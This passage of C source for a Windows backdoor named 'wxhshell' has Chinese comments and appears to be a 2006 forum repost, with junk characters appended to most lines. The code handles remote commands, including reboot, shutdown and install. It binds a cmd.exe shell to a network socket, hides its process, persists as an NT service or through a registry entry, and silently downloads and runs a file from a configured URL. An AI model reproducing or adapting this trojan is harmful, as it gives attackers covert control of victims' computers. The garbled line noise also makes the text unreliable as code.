    switch(cmd[0]) { -N*[f9EJB  
  $6a9<&LP_  
  // 帮助 Gr\ ]6  
  case '?': { Y"H`+UV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1z PS#K/3  
    break; 8>9Mh!t}(I  
  } w.q`E@ T*  
  // 安装 hzsQK _;S  
  case 'i': { @G" nkB   
    if(Install()) QN#"c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bzFac5n)Q  
    else _y~6b{T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L5bq\  
    break; SBreA-2  
    } FJc8g6M  
  // 卸载 x/DV>Nfn  
  case 'r': { 8ttJ\m  
    if(Uninstall()) ]q1w@)]n}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"C9z{[Z&  
    else 9"S2KT@8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rn~'S2`u  
    break; YVMvT>/,  
    } k24I1DlR8  
  // 显示 wxhshell 所在路径 ',r` )9o  
  case 'p': { LP"g(D2'n  
    char svExeFile[MAX_PATH]; UjI./"]O  
    strcpy(svExeFile,"\n\r"); "z{/*uM2<  
      strcat(svExeFile,ExeFile); @P7'MiP]K  
        send(wsh,svExeFile,strlen(svExeFile),0); yv4x.cfI2W  
    break;  Zi~.  
    } 1m~|e.g_'`  
  // 重启 Mt4  
  case 'b': { 3Y)&[aj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }_nBegv  
    if(Boot(REBOOT)) mD9Iao%4~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Q /LC0?  
    else { IU8zidn&  
    closesocket(wsh); cb^IJA9}  
    ExitThread(0); $5i\D rs  
    } ~^2w)-N  
    break; ,/?J!W@m  
    } oJTEN}fL  
  // 关机 $mPR)T  
  case 'd': { nLm'a_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZWCsrV*;  
    if(Boot(SHUTDOWN)) VeWh9:"bJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:CTIV5N0  
    else { M7/5e3  
    closesocket(wsh); NCKR<!(  
    ExitThread(0); D,cD]tB2  
    } p%$r\G-x  
    break; 4mDHAR%D  
    } `j{3|C=  
  // 获取shell 16 AlmegDk  
  case 's': { ec!e  
    CmdShell(wsh); PB^rniYh  
    closesocket(wsh); aH"d~Y^  
    ExitThread(0); #`_W?-%^  
    break; i3)3. WK^  
  } jwk+&S  
  // 退出 Tv|'6P  
  case 'x': { }ekNZNcuM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JPDxzp  
    CloseIt(wsh); lf( +]k30  
    break; _/:--Z  
    } `:iMGq ZN  
  // 离开 (csk   
  case 'q': { sccLP_#Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); . V!5Ui<  
    closesocket(wsh); 2?ue.1C  
    WSACleanup(); +O8[4zn&k  
    exit(1); OAkqPG&w  
    break; GG#-x$jK  
        } vE[d& b[  
  } vu.ug$T  
  } XO;_F"H=  
`lY-/Ty  
  // 提示信息 r.?dT |A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a0ms9%Y;Q[  
} pss')YP.  
  } UT@Qo}:  
t XzuP_0  
  return; efyEzL  
} ;ab[YMkH  
5i6Ji(  
// shell模块句柄 ) P7oL.)  
int CmdShell(SOCKET sock) #sU>L=  
{ w?D=  
STARTUPINFO si; 8;qOsV)UDT  
ZeroMemory(&si,sizeof(si)); mg*iW55g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NkUY_rKPb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F42^Uoaz  
PROCESS_INFORMATION ProcessInfo; !IJ YaQ6z  
char cmdline[]="cmd"; r`ftflNh(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n 'ZPB  
  return 0; /*g0M2+OZo  
} hzAuj0-A  
x<t ?Yc9  
// 自身启动模式 67/@J)z0%  
int StartFromService(void) PdKcDKJ  
{ */{y%  
typedef struct c:=HN-*vQ  
{ \)*\$I\]  
  DWORD ExitStatus; d1yLDj?  
  DWORD PebBaseAddress; VKPsg  
  DWORD AffinityMask; k'X"jon  
  DWORD BasePriority; xRZ K&vkKE  
  ULONG UniqueProcessId; T pCXe\W  
  ULONG InheritedFromUniqueProcessId; rE "FN~9P  
}   PROCESS_BASIC_INFORMATION; ^E, #}cW  
l )r^|9{  
PROCNTQSIP NtQueryInformationProcess; +^J&x>5  
`_DA!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \HD:#a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uv k:  
"wVisL2+.  
  HANDLE             hProcess; )[99SM   
  PROCESS_BASIC_INFORMATION pbi; 2L<1]:I  
,wr5DQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZHRMW'Ne  
  if(NULL == hInst ) return 0; 3Q&@l49q  
kJ* N`=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); An]Vx<PD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Nr*na^H9#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  <}^p5|  
)1R[~]y  
  if (!NtQueryInformationProcess) return 0; MHE/#G  
P/S,dhs(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  de8xl  
  if(!hProcess) return 0; shLMj)7!  
>d;U>P5.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f !7fz~&Sh  
,jnaa(n  
  CloseHandle(hProcess); V%*91t_  
:MYLap&L&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  zW?=^bE  
if(hProcess==NULL) return 0; ;Gp9 ?0  
}w=|"a|,  
HMODULE hMod; )REegFN@  
char procName[255]; 55b/giX  
unsigned long cbNeeded; Ct(^nn$A  
"MPS&OK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = g%<xCp  
a/CY@V-  
  CloseHandle(hProcess); rZAP3)dA  
3?k<e  
if(strstr(procName,"services")) return 1; // 以服务启动 zl, Vj%d  
1Uah IePf  
  return 0; // 注册表启动 6XAofN/5f  
} jJ RaY3  
B&(/,.  
// 主模块 ?J|  
int StartWxhshell(LPSTR lpCmdLine) _Kli~$c& M  
{ D=f$-rn  
  SOCKET wsl; Y|#< kS  
BOOL val=TRUE; 5IgO4<B  
  int port=0; B0g?!.#23  
  struct sockaddr_in door; 2Z9ck|L>  
\R 3O39[  
  if(wscfg.ws_autoins) Install(); >kuu\  
iYW<qgz  
port=atoi(lpCmdLine); `/G9*tIR8g  
ZKS]BbMZa  
if(port<=0) port=wscfg.ws_port; WK#c* rsij  
J6 A3Hrg  
  WSADATA data; y2B'0l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d_[ zt)  
&?j\=%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M?m@o1\;W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U $=Z`^<  
  door.sin_family = AF_INET; fn5!Nr ,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F)aF.'$-/  
  door.sin_port = htons(port); R-k~\vCW  
*\0h^^|@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x9]vhR/av  
closesocket(wsl); L8pKVr  
return 1; ihct~y-9W  
} (76tYt~I=  
nGDY::nUE  
  if(listen(wsl,2) == INVALID_SOCKET) { 5o^\jTEl^  
closesocket(wsl); M"Y ,kA|+  
return 1; ^= kr`5  
} '~{kR=+  
  Wxhshell(wsl); V_4=0(  
  WSACleanup(); MHCwjo"  
}?CKE<#%  
return 0; YvUV9qps~  
DRVvC~M-,  
} n482?Wp  
(AG((eV  
// 以NT服务方式启动 &jrc]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7a4Z~r27/  
{ 8qUNh#  
DWORD   status = 0; t#!AfTY$w  
  DWORD   specificError = 0xfffffff; .| :R#VW  
H@|m^1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kciz^)'Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (s51GRC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :c:}_t{%  
  serviceStatus.dwWin32ExitCode     = 0;  bIuOB|  
  serviceStatus.dwServiceSpecificExitCode = 0; b-J6{=k^  
  serviceStatus.dwCheckPoint       = 0; 5^{2 g^jH6  
  serviceStatus.dwWaitHint       = 0; Sq`Zuu9t  
.;dI&0Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /i"1e:cK  
  if (hServiceStatusHandle==0) return; _Q*,~ z~  
MdnapxuS  
status = GetLastError(); i2 )$%M&  
  if (status!=NO_ERROR) ,y)V5 c1  
{ T|--ZRYn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i@=(Y~tD`  
    serviceStatus.dwCheckPoint       = 0; Xk:_aJ  
    serviceStatus.dwWaitHint       = 0; `{ \)Wuw  
    serviceStatus.dwWin32ExitCode     = status; 'qoaMJxN`  
    serviceStatus.dwServiceSpecificExitCode = specificError; <I{Yyl^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u} [.*e  
    return; =)! ~t/  
  } !^aJS'aq  
cmp@Ow"c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vzh\ 1cF  
  serviceStatus.dwCheckPoint       = 0; G,b*Qn5#  
  serviceStatus.dwWaitHint       = 0;  cj|Urt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EiPOY'  
} C jz(-018  
nKch:g  
// 处理NT服务事件,比如:启动、停止 6"2IV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8&y#LeM1TT  
{ W#L/|K!S  
switch(fdwControl) T9YrB  
{ QOv@rP/  
case SERVICE_CONTROL_STOP: w*7wSP  
  serviceStatus.dwWin32ExitCode = 0; As|e=ut(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i@ehD@.dH  
  serviceStatus.dwCheckPoint   = 0; SM.KM_%K  
  serviceStatus.dwWaitHint     = 0; 3g3Znb  
  { Ee{Y1W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rDLgQ{Sea  
  } @,q<CF@Y  
  return; >%c>R'~h  
case SERVICE_CONTROL_PAUSE: 'Z6x\p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !wo  
  break; ]&"01M~+K  
case SERVICE_CONTROL_CONTINUE: fy>~ GFk(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yo}QW;,g  
  break; CH0Nkf  
case SERVICE_CONTROL_INTERROGATE: j HEt   
  break; m :2A[H+  
}; q]Af I(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D1wONss  
} 0>ce~KU  
-]Aqt/w"l  
// 标准应用程序主函数 -T>i5'2)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +DYsBCVbag  
{ 8)YDUE%VH  
E g_ram`\R  
// 获取操作系统版本 8M7Bw[Q1  
OsIsNt=GetOsVer(); $AdBX}{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =A_fL{ SM  
+EH"A  
  // 从命令行安装 &[5pR60  
  if(strpbrk(lpCmdLine,"iI")) Install(); O&@CT])8  
,3Aiz|v-  
  // 下载执行文件 sc y_  
if(wscfg.ws_downexe) { CWSc#E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UYhxgPGsj  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1P G"IaOb  
} SL`nt  
wB"`lY   
if(!OsIsNt) { C/q!!  
// 如果时win9x,隐藏进程并且设置为注册表启动 3]pHc)p!.  
HideProc(); se29IhS!e  
StartWxhshell(lpCmdLine); rw[Ioyr-  
} pzeCdHF  
else JD]uDuE  
  if(StartFromService()) a" L9jrVrw  
  // 以服务方式启动 sY&Z/Y  
  StartServiceCtrlDispatcher(DispatchTable); vywpX^KPv  
else 9<5S!?JL  
  // 普通方式启动 pL2{zW`FDh  
  StartWxhshell(lpCmdLine); c'wU$xt.w  
"-Wb[*U;  
return 0; f7&9IW`7F^  
}
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只看该作者 1 发表于: 2006-10-10
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